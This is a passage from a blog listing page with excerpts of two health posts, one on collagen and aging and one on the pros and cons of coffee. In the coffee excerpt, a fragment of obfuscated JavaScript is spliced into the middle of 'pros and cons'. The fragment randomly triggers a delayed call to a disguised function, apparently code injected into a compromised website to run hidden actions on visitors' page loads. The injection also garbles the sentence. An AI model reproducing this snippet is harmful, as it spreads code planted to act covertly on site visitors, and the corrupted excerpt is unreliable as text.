benefits

THE ANTI-AGING BENEFITS OF COLLAGEN

October , 2017

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I turn 48 yo in two weeks. So aging is hot on my mind. I don’t want to slow down. I don’t want to wrinkle. Achy joints & muscles are not in my aging plan. Although I know that some of the pieces of the aging process are out of my control, I have been […]

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Is coffee bad for you?

November , 2016

This is a common question that patients ask. In fact, many people are hesitant to start the 45-Day Reset because they don’t want to give up coffee. So today I want to give you the pros andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and cons of drinking coffee. If you follow the recommendations I have at the […]

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